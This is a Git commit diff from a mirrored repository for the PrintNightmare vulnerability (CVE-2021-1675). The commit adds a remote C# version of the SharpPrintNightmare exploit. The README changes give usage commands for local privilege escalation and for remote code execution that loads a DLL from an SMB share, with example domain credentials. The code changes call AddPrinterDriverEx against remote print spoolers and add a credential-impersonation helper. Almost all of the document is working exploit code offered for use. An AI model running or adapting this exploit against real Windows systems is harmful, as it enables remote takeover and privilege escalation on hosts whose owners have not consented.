1
0
Fork 0
mirror of https://github.com/cube0x0/CVE-2021-1675.git synced 2024-12-22 02:36:33 +00:00

c# remote version

Signed-off-by: cube0x0 <vidfelt@protonmail.com>
This commit is contained in:
cube0x0 2021-07-01 23:30:25 +02:00
parent 2f6ae233b0
commit b74cb00b1b
6 changed files with 223 additions and 19 deletions

BIN
Images/poc4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 297 KiB

View file

@ -3,7 +3,16 @@
### Usage
```
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
```
![](../Images/poc4.png)
![](../Images/poc3.png)

View file

@ -2,6 +2,7 @@
using System.ComponentModel;
using System.IO;
using System.Runtime.InteropServices;
using Tools;
namespace SharpPrintNightmare
{
@ -45,30 +46,81 @@ namespace SharpPrintNightmare
static void Main(string[] args)
{
string dllpath;
string pDriverPath = "";
string path = null;
//network credentials wont be used for LPE
string domain = "NeverGonnaGiveYouUp";
string user = "NeverGonnaLetYouDown";
string password = "NeverGonnaRunAroundAndDesertYou";
if (args == null || args.Length == 0)
{
Console.WriteLine("Need an argument containing the dll path");
Console.WriteLine(".\\SharpPrintNightmare.exe C:\\addCube.dll");
Console.WriteLine("-Locally");
Console.WriteLine(" .\\SharpPrintNightmare.exe C:\\addCube.dll");
Console.WriteLine(" .\\SharpPrintNightmare.exe 'C:\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'");
Console.WriteLine("-Remote using current context");
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20'");
Console.WriteLine("-Remote using runas");
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20' hackit.local domain_user Pass123");
Environment.Exit(0);
}
dllpath = args[0];
Console.WriteLine("[*] Try 1...");
addPrinter(dllpath);
Console.WriteLine("[*] Try 2...");
addPrinter(dllpath);
Console.WriteLine("[*] Try 3...");
addPrinter(dllpath);
if(args.Length > 1)
{
pDriverPath = args[1];
}
else
{
DRIVER_INFO_2[] drivers = getDrivers();
foreach (DRIVER_INFO_2 driver in drivers)
{
//Console.WriteLine(driver.pDriverPath); //debug
if (driver.pDriverPath.ToLower().Contains("filerepository"))
{
pDriverPath = driver.pDriverPath;
break;
}
}
//lucky shot
if (pDriverPath == "")
{
pDriverPath = drivers[0].pDriverPath;
}
pDriverPath = Directory.GetParent(pDriverPath).FullName + "\\UNIDRV.DLL";
}
if (args.Length > 2)
{
path = args[2];
}
if (args.Length > 3)
{
domain = args[3];
user = args[4];
password = args[5];
}
//runas /netonly
using (new Impersonator.Impersonation(domain, user, password))
{
Console.WriteLine("[*] Try 1...");
addPrinter(dllpath, pDriverPath, path);
Console.WriteLine("[*] Try 2...");
addPrinter(dllpath, pDriverPath, path);
Console.WriteLine("[*] Try 3...");
addPrinter(dllpath, pDriverPath, path);
}
}
static void addPrinter(string dllpath)
static void addPrinter(string dllpath, string pDriverPath, string path = null)
{
DRIVER_INFO_2[] drivers = getDrivers();
string pDriverPath = Directory.GetParent(drivers[0].pDriverPath).FullName + "\\UNIDRV.DLL";
Console.WriteLine($"[*] pDriverPath Found {pDriverPath}");
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug
Console.WriteLine($"[*] pDriverPath {pDriverPath}");
Console.WriteLine($"[*] Executing {dllpath}");
//DRIVER_INFO_2 Level2 = drivers[0];
//DRIVER_INFO_2 Level2 = drivers[0]; // debug
DRIVER_INFO_2 Level2 = new DRIVER_INFO_2();
Level2.cVersion = 3;
Level2.pConfigFile = "C:\\Windows\\System32\\kernelbase.dll";
@ -85,7 +137,7 @@ namespace SharpPrintNightmare
Marshal.StructureToPtr(Level2, pnt, false);
//call AddPrinterDriverEx
AddPrinterDriverEx(null, 2, pnt, flags);
AddPrinterDriverEx(path, 2, pnt, flags);
Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error());
Marshal.FreeHGlobal(pnt);
@ -98,10 +150,10 @@ namespace SharpPrintNightmare
Marshal.StructureToPtr(Level2, pnt2, false);
//call AddPrinterDriverEx
AddPrinterDriverEx(null, 2, pnt2, flags);
AddPrinterDriverEx(path, 2, pnt2, flags);
int errorcode = Marshal.GetLastWin32Error();
Marshal.FreeHGlobal(pnt2);
if(errorcode == 0)
if (errorcode == 0)
{
Console.WriteLine($"[*] Stage {i}: " + errorcode);
Console.WriteLine($"[+] Exploit Completed");
@ -110,11 +162,13 @@ namespace SharpPrintNightmare
}
}
static DRIVER_INFO_2[] getDrivers()
static DRIVER_INFO_2[] getDrivers(string path = null)
{
uint cbNeeded = 0;
uint cReturned = 0;
if (EnumPrinterDrivers(null, null, 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
//path = "\\\\192.168.1.20";
if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned))
{
//succeeds, but shouldn't, because buffer is zero (too small)!
throw new Exception("EnumPrinters should fail!");
@ -128,7 +182,7 @@ namespace SharpPrintNightmare
}
IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded);
if (EnumPrinterDrivers(null, null, 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
if (EnumPrinterDrivers(path, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned))
{
DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned];
long offset;

View file

@ -44,6 +44,7 @@
<ItemGroup>
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Tools.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />

View file

@ -0,0 +1,140 @@
using Microsoft.Win32.SafeHandles;
using System;
using System.ComponentModel;
using System.Runtime.ConstrainedExecution;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Permissions;
using System.Security.Principal;
namespace Tools
{
public class Impersonator
{
//Reference https://stackoverflow.com/questions/22544903/impersonate-for-entire-application-lifecycle
[PermissionSet(SecurityAction.Demand, Name = "FullTrust")]
public class Impersonation : IDisposable
{
private readonly SafeTokenHandle _handle;
private readonly WindowsImpersonationContext _context;
private const int LOGON32_LOGON_NEW_CREDENTIALS = 9;
public Impersonation(string domain, string username, string password)
{
var ok = LogonUser(username, domain, password,
LOGON32_LOGON_NEW_CREDENTIALS, 0, out this._handle);
if (!ok)
{
var errorCode = Marshal.GetLastWin32Error();
throw new ApplicationException(string.Format("Could not impersonate the elevated user. LogonUser returned error code {0}.", errorCode));
}
this._context = WindowsIdentity.Impersonate(this._handle.DangerousGetHandle());
}
public void Dispose()
{
this._context.Dispose();
this._handle.Dispose();
}
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
private static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
public sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
{
private SafeTokenHandle()
: base(true) { }
[DllImport("kernel32.dll")]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)]
[SuppressUnmanagedCodeSecurity]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr handle);
protected override bool ReleaseHandle()
{
return CloseHandle(handle);
}
}
}
}
public class AToken
{
// Based on SharpSploit MakeToken
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("Advapi32.dll", SetLastError = true)]
private static extern bool RevertToSelf();
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool LogonUserA(
string lpszUsername,
string lpszDomain,
string lpszPassword,
LOGON_TYPE dwLogonType,
LOGON_PROVIDER dwLogonProvider,
ref IntPtr phToken);
[Flags]
public enum LOGON_TYPE : uint
{
LOGON32_LOGON_INTERACTIVE = 2, //will not work for sacrify, still active
LOGON32_LOGON_NETWORK, //will not work for sacrify, still active
LOGON32_LOGON_BATCH, //will not work for sacrify, still active
LOGON32_LOGON_SERVICE, //will not work for sacrify, still active
LOGON32_LOGON_UNLOCK = 7, //will not work for sacrify, still active
LOGON32_LOGON_NETWORK_CLEARTEXT, //will not work for sacrify, still active
LOGON32_LOGON_NEW_CREDENTIALS
}
[Flags]
public enum LOGON_PROVIDER : uint
{
LOGON32_PROVIDER_DEFAULT,
LOGON32_PROVIDER_WINNT35,
LOGON32_PROVIDER_WINNT40,
LOGON32_PROVIDER_WINNT50
}
public static bool MakeToken(string Username, string Domain, string Password, LOGON_TYPE LogonType = LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS)
{
IntPtr hProcessToken = IntPtr.Zero;
if (!LogonUserA(
Username, Domain, Password,
LogonType,
LOGON_PROVIDER.LOGON32_PROVIDER_WINNT50,
ref hProcessToken))
{
Console.Error.WriteLine("LogonUserA() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
return false;
}
if (!ImpersonateLoggedOnUser(hProcessToken))
{
Console.Error.WriteLine("ImpersonateLoggedOnUser() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
CloseHandle(hProcessToken);
return false;
}
return true;
}
public static bool RevertFromToken()
{
if (!RevertToSelf())
{
Console.Error.WriteLine("RevertToSelf() Error: " + new Win32Exception(Marshal.GetLastWin32Error()).Message);
return false;
}
return true;
}
}
}